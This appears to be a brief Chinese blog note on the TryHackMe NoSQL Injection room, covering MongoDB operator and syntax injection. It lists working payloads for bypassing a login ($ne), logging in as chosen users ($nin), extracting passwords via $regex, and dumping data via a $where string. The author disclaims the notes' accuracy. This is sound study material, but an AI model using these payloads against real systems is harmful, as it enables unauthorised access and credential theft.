tryhackme NoSQL Injection
NoSQL Injection
什么是NoSQL
MongoDB
https://docs.mongodb.com/manual/reference/operator/query/
NoSQL Injection
语法注入(Syntax Injection):" / $ {
操作符注入(Operator Injection):{"username":"admin","password":{"$ne":""}}
将放在操作符注入及其各种利用方式上,"语法注入"的案例相对不那么常见:开发者常以为"用了 ORM/查询构造库就安全",但库对语法有过滤、对操作符参数却没过滤
- 如何注入 NoSQL
要注入 NoSQL,就必须能够向应用中注入数组
许多服务端编程语言允许通过在 HTTP 请求的查询字符串中使用特殊语法来传递数组变量
user[$ne]=xxxx&pass[$ne]=yyyy
操作符注入 - 绕过登录界面
user[$ne]=xxxx&pass[$ne]=yyyy
操作符注入 - 登录为其他用户
user[$nin][]=admin&pass[$ne]=aweasdf
user[$nin][]=admin&user[$nin][]=bob&pass[$ne]=aweasdf
['username'=>['$nin'=>['admin', 'bob'] ], 'password'=>['$ne'=>'aweasdf']]
操作符注入 - 提取用户密码
user[$ne]=xxxx&pass[$regex]=^.{7}$
user[$ne]=xxxx&pass[$regex]=^c....$
语法注入 - 识别与数据提取
$where JS 拼接 → '||1||' 拖全表 (用对 API调用,不要手搓代码)
主要在于胡扯烂造,大家就当相声看看吧。【本人不保证技术的实用性,一切文章仅供参考,如有谬错,请留言】

浙公网安备 33010602011771号